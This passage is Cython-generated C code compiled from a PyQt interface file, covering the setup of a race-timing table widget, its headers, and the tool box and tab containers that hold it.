__Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_4); } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_7)) { PyObject *__pyx_temp[3] = {__pyx_t_3, __pyx_int_5, __pyx_v_item}; __pyx_t_4 = __Pyx_PyCFunction_FastCall(__pyx_t_7, __pyx_temp+1-__pyx_t_8, 2+__pyx_t_8); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 836, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_4); } else #endif { __pyx_t_1 = PyTuple_New(2+__pyx_t_8); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 836, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); if (__pyx_t_3) { __Pyx_GIVEREF(__pyx_t_3); PyTuple_SET_ITEM(__pyx_t_1, 0, __pyx_t_3); __pyx_t_3 = NULL; } __Pyx_INCREF(__pyx_int_5); __Pyx_GIVEREF(__pyx_int_5); PyTuple_SET_ITEM(__pyx_t_1, 0+__pyx_t_8, __pyx_int_5); __Pyx_INCREF(__pyx_v_item); __Pyx_GIVEREF(__pyx_v_item); PyTuple_SET_ITEM(__pyx_t_1, 1+__pyx_t_8, __pyx_v_item); __pyx_t_4 = __Pyx_PyObject_Call(__pyx_t_7, __pyx_t_1, NULL); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 836, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; /* "Ui_MainWindow.py":837 * item = QtWidgets.QTableWidgetItem() * self.R_RaceLive_2.setHorizontalHeaderItem(5, item) * item = QtWidgets.QTableWidgetItem() # <<<<<<<<<<<<<< * self.R_RaceLive_2.setHorizontalHeaderItem(6, item) * self.R_RaceLive_2.horizontalHeader().setDefaultSectionSize(100) */ __pyx_t_7 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 837, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_QTableWidgetItem); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 837, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = NULL; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_1))) { __pyx_t_7 = PyMethod_GET_SELF(__pyx_t_1); if (likely(__pyx_t_7)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); __Pyx_INCREF(__pyx_t_7); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_1, function); } } if (__pyx_t_7) { __pyx_t_4 = __Pyx_PyObject_CallOneArg(__pyx_t_1, __pyx_t_7); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 837, __pyx_L1_error) __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; } else { __pyx_t_4 = __Pyx_PyObject_CallNoArg(__pyx_t_1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 837, __pyx_L1_error) } __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF_SET(__pyx_v_item, __pyx_t_4); __pyx_t_4 = 0; /* "Ui_MainWindow.py":838 * self.R_RaceLive_2.setHorizontalHeaderItem(5, item) * item = QtWidgets.QTableWidgetItem() * self.R_RaceLive_2.setHorizontalHeaderItem(6, item) # <<<<<<<<<<<<<< * self.R_RaceLive_2.horizontalHeader().setDefaultSectionSize(100) * self.R_RaceLive_2.horizontalHeader().setSortIndicatorShown(False) */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_RaceLive_2); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 838, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_setHorizontalHeaderItem); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 838, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = NULL; __pyx_t_8 = 0; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_7))) { __pyx_t_1 = PyMethod_GET_SELF(__pyx_t_7); if (likely(__pyx_t_1)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_7); __Pyx_INCREF(__pyx_t_1); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_7, function); __pyx_t_8 = 1; } } #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_7)) { PyObject *__pyx_temp[3] = {__pyx_t_1, __pyx_int_6, __pyx_v_item}; __pyx_t_4 = __Pyx_PyFunction_FastCall(__pyx_t_7, __pyx_temp+1-__pyx_t_8, 2+__pyx_t_8); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 838, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GOTREF(__pyx_t_4); } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_7)) { PyObject *__pyx_temp[3] = {__pyx_t_1, __pyx_int_6, __pyx_v_item}; __pyx_t_4 = __Pyx_PyCFunction_FastCall(__pyx_t_7, __pyx_temp+1-__pyx_t_8, 2+__pyx_t_8); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 838, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GOTREF(__pyx_t_4); } else #endif { __pyx_t_3 = PyTuple_New(2+__pyx_t_8); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 838, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); if (__pyx_t_1) { __Pyx_GIVEREF(__pyx_t_1); PyTuple_SET_ITEM(__pyx_t_3, 0, __pyx_t_1); __pyx_t_1 = NULL; } __Pyx_INCREF(__pyx_int_6); __Pyx_GIVEREF(__pyx_int_6); PyTuple_SET_ITEM(__pyx_t_3, 0+__pyx_t_8, __pyx_int_6); __Pyx_INCREF(__pyx_v_item); __Pyx_GIVEREF(__pyx_v_item); PyTuple_SET_ITEM(__pyx_t_3, 1+__pyx_t_8, __pyx_v_item); __pyx_t_4 = __Pyx_PyObject_Call(__pyx_t_7, __pyx_t_3, NULL); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 838, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; /* "Ui_MainWindow.py":839 * item = QtWidgets.QTableWidgetItem() * self.R_RaceLive_2.setHorizontalHeaderItem(6, item) * self.R_RaceLive_2.horizontalHeader().setDefaultSectionSize(100) # <<<<<<<<<<<<<< * self.R_RaceLive_2.horizontalHeader().setSortIndicatorShown(False) * self.R_RaceLive_2.horizontalHeader().setStretchLastSection(False) */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_RaceLive_2); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 839, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_horizontalHeader); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 839, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_3))) { __pyx_t_7 = PyMethod_GET_SELF(__pyx_t_3); if (likely(__pyx_t_7)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); __Pyx_INCREF(__pyx_t_7); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_3, function); } } if (__pyx_t_7) { __pyx_t_4 = __Pyx_PyObject_CallOneArg(__pyx_t_3, __pyx_t_7); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 839, __pyx_L1_error) __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; } else { __pyx_t_4 = __Pyx_PyObject_CallNoArg(__pyx_t_3); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 839, __pyx_L1_error) } __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_setDefaultSectionSize); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 839, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_tuple__531, NULL); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 839, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; /* "Ui_MainWindow.py":840 * self.R_RaceLive_2.setHorizontalHeaderItem(6, item) * self.R_RaceLive_2.horizontalHeader().setDefaultSectionSize(100) * self.R_RaceLive_2.horizontalHeader().setSortIndicatorShown(False) # <<<<<<<<<<<<<< * self.R_RaceLive_2.horizontalHeader().setStretchLastSection(False) * self.R_RaceLive_2.verticalHeader().setDefaultSectionSize(15) */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_RaceLive_2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 840, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_horizontalHeader); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 840, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_7))) { __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_7); if (likely(__pyx_t_3)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_7); __Pyx_INCREF(__pyx_t_3); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_7, function); } } if (__pyx_t_3) { __pyx_t_4 = __Pyx_PyObject_CallOneArg(__pyx_t_7, __pyx_t_3); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 840, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } else { __pyx_t_4 = __Pyx_PyObject_CallNoArg(__pyx_t_7); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 840, __pyx_L1_error) } __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_setSortIndicatorShown); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 840, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = __Pyx_PyObject_Call(__pyx_t_7, __pyx_tuple__532, NULL); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 840, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; /* "Ui_MainWindow.py":841 * self.R_RaceLive_2.horizontalHeader().setDefaultSectionSize(100) * self.R_RaceLive_2.horizontalHeader().setSortIndicatorShown(False) * self.R_RaceLive_2.horizontalHeader().setStretchLastSection(False) # <<<<<<<<<<<<<< * self.R_RaceLive_2.verticalHeader().setDefaultSectionSize(15) * self.R_RaceLive_2.verticalHeader().setStretchLastSection(False) */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_RaceLive_2); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 841, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_horizontalHeader); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 841, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_3))) { __pyx_t_7 = PyMethod_GET_SELF(__pyx_t_3); if (likely(__pyx_t_7)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); __Pyx_INCREF(__pyx_t_7); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_3, function); } } if (__pyx_t_7) { __pyx_t_4 = __Pyx_PyObject_CallOneArg(__pyx_t_3, __pyx_t_7); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 841, __pyx_L1_error) __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; } else { __pyx_t_4 = __Pyx_PyObject_CallNoArg(__pyx_t_3); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 841, __pyx_L1_error) } __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_setStretchLastSection); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 841, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_tuple__533, NULL); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 841, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; /* "Ui_MainWindow.py":842 * self.R_RaceLive_2.horizontalHeader().setSortIndicatorShown(False) * self.R_RaceLive_2.horizontalHeader().setStretchLastSection(False) * self.R_RaceLive_2.verticalHeader().setDefaultSectionSize(15) # <<<<<<<<<<<<<< * self.R_RaceLive_2.verticalHeader().setStretchLastSection(False) * self.verticalLayout_P_Laptime.addWidget(self.R_RaceLive_2) */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_RaceLive_2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 842, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_verticalHeader); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 842, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_7))) { __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_7); if (likely(__pyx_t_3)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_7); __Pyx_INCREF(__pyx_t_3); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_7, function); } } if (__pyx_t_3) { __pyx_t_4 = __Pyx_PyObject_CallOneArg(__pyx_t_7, __pyx_t_3); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 842, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } else { __pyx_t_4 = __Pyx_PyObject_CallNoArg(__pyx_t_7); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 842, __pyx_L1_error) } __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_setDefaultSectionSize); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 842, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = __Pyx_PyObject_Call(__pyx_t_7, __pyx_tuple__534, NULL); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 842, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; /* "Ui_MainWindow.py":843 * self.R_RaceLive_2.horizontalHeader().setStretchLastSection(False) * self.R_RaceLive_2.verticalHeader().setDefaultSectionSize(15) * self.R_RaceLive_2.verticalHeader().setStretchLastSection(False) # <<<<<<<<<<<<<< * self.verticalLayout_P_Laptime.addWidget(self.R_RaceLive_2) * self.toolBox.addItem(self.P_Laptime, "") */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_RaceLive_2); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 843, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_verticalHeader); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 843, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_3))) { __pyx_t_7 = PyMethod_GET_SELF(__pyx_t_3); if (likely(__pyx_t_7)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); __Pyx_INCREF(__pyx_t_7); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_3, function); } } if (__pyx_t_7) { __pyx_t_4 = __Pyx_PyObject_CallOneArg(__pyx_t_3, __pyx_t_7); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 843, __pyx_L1_error) __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; } else { __pyx_t_4 = __Pyx_PyObject_CallNoArg(__pyx_t_3); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 843, __pyx_L1_error) } __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_setStretchLastSection); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 843, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_tuple__535, NULL); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 843, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; /* "Ui_MainWindow.py":844 * self.R_RaceLive_2.verticalHeader().setDefaultSectionSize(15) * self.R_RaceLive_2.verticalHeader().setStretchLastSection(False) * self.verticalLayout_P_Laptime.addWidget(self.R_RaceLive_2) # <<<<<<<<<<<<<< * self.toolBox.addItem(self.P_Laptime, "") * self.Tab_Container.addTab(self.T_Race, "") */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_verticalLayout_P_Laptime); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 844, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_addWidget); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 844, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_RaceLive_2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 844, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_1 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_7))) { __pyx_t_1 = PyMethod_GET_SELF(__pyx_t_7); if (likely(__pyx_t_1)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_7); __Pyx_INCREF(__pyx_t_1); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_7, function); } } if (!__pyx_t_1) { __pyx_t_4 = __Pyx_PyObject_CallOneArg(__pyx_t_7, __pyx_t_3); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 844, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_4); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_7)) { PyObject *__pyx_temp[2] = {__pyx_t_1, __pyx_t_3}; __pyx_t_4 = __Pyx_PyFunction_FastCall(__pyx_t_7, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 844, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_7)) { PyObject *__pyx_temp[2] = {__pyx_t_1, __pyx_t_3}; __pyx_t_4 = __Pyx_PyCFunction_FastCall(__pyx_t_7, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 844, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } else #endif { __pyx_t_6 = PyTuple_New(1+1); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 844, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_GIVEREF(__pyx_t_1); PyTuple_SET_ITEM(__pyx_t_6, 0, __pyx_t_1); __pyx_t_1 = NULL; __Pyx_GIVEREF(__pyx_t_3); PyTuple_SET_ITEM(__pyx_t_6, 0+1, __pyx_t_3); __pyx_t_3 = 0; __pyx_t_4 = __Pyx_PyObject_Call(__pyx_t_7, __pyx_t_6, NULL); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 844, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } } __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; /* "Ui_MainWindow.py":845 * self.R_RaceLive_2.verticalHeader().setStretchLastSection(False) * self.verticalLayout_P_Laptime.addWidget(self.R_RaceLive_2) * self.toolBox.addItem(self.P_Laptime, "") # <<<<<<<<<<<<<< * self.Tab_Container.addTab(self.T_Race, "") * self.T_Results = QtWidgets.QWidget() */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_toolBox); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 845, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_addItem); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 845, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_P_Laptime); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 845, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_3 = NULL; __pyx_t_8 = 0; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_6))) { __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_6); if (likely(__pyx_t_3)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_6); __Pyx_INCREF(__pyx_t_3); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_6, function); __pyx_t_8 = 1; } } #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_6)) { PyObject *__pyx_temp[3] = {__pyx_t_3, __pyx_t_7, __pyx_kp_u__9}; __pyx_t_4 = __Pyx_PyFunction_FastCall(__pyx_t_6, __pyx_temp+1-__pyx_t_8, 2+__pyx_t_8); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 845, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_6)) { PyObject *__pyx_temp[3] = {__pyx_t_3, __pyx_t_7, __pyx_kp_u__9}; __pyx_t_4 = __Pyx_PyCFunction_FastCall(__pyx_t_6, __pyx_temp+1-__pyx_t_8, 2+__pyx_t_8); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 845, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; } else #endif { __pyx_t_1 = PyTuple_New(2+__pyx_t_8); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 845, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); if (__pyx_t_3) { __Pyx_GIVEREF(__pyx_t_3); PyTuple_SET_ITEM(__pyx_t_1, 0, __pyx_t_3); __pyx_t_3 = NULL; } __Pyx_GIVEREF(__pyx_t_7); PyTuple_SET_ITEM(__pyx_t_1, 0+__pyx_t_8, __pyx_t_7); __Pyx_INCREF(__pyx_kp_u__9); __Pyx_GIVEREF(__pyx_kp_u__9); PyTuple_SET_ITEM(__pyx_t_1, 1+__pyx_t_8, __pyx_kp_u__9); __pyx_t_7 = 0; __pyx_t_4 = __Pyx_PyObject_Call(__pyx_t_6, __pyx_t_1, NULL); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 845, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; /* "Ui_MainWindow.py":846 * self.verticalLayout_P_Laptime.addWidget(self.R_RaceLive_2) * self.toolBox.addItem(self.P_Laptime, "") * self.Tab_Container.addTab(self.T_Race, "") # <<<<<<<<<<<<<< * self.T_Results = QtWidgets.QWidget() * self.T_Results.setObjectName("T_Results") */ __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_Tab_Container); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 846, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_addTab); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 846, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_T_Race); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 846, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_7 = NULL; __pyx_t_8 = 0; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_1))) { __pyx_t_7 = PyMethod_GET_SELF(__pyx_t_1); if (likely(__pyx_t_7)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); __Pyx_INCREF(__pyx_t_7); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_1, function); __pyx_t_8 = 1; } } #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_1)) { PyObject *__pyx_temp[3] = {__pyx_t_7, __pyx_t_6, __pyx_kp_u__9}; __pyx_t_4 = __Pyx_PyFunction_FastCall(__pyx_t_1, __pyx_temp+1-__pyx_t_8, 2+__pyx_t_8); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 846, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_1)) { PyObject *__pyx_temp[3] = {__pyx_t_7, __pyx_t_6, __pyx_kp_u__9}; __pyx_t_4 = __Pyx_PyCFunction_FastCall(__pyx_t_1, __pyx_temp+1-__pyx_t_8, 2+__pyx_t_8); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 846, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_GOTREF(__pyx_t_4); 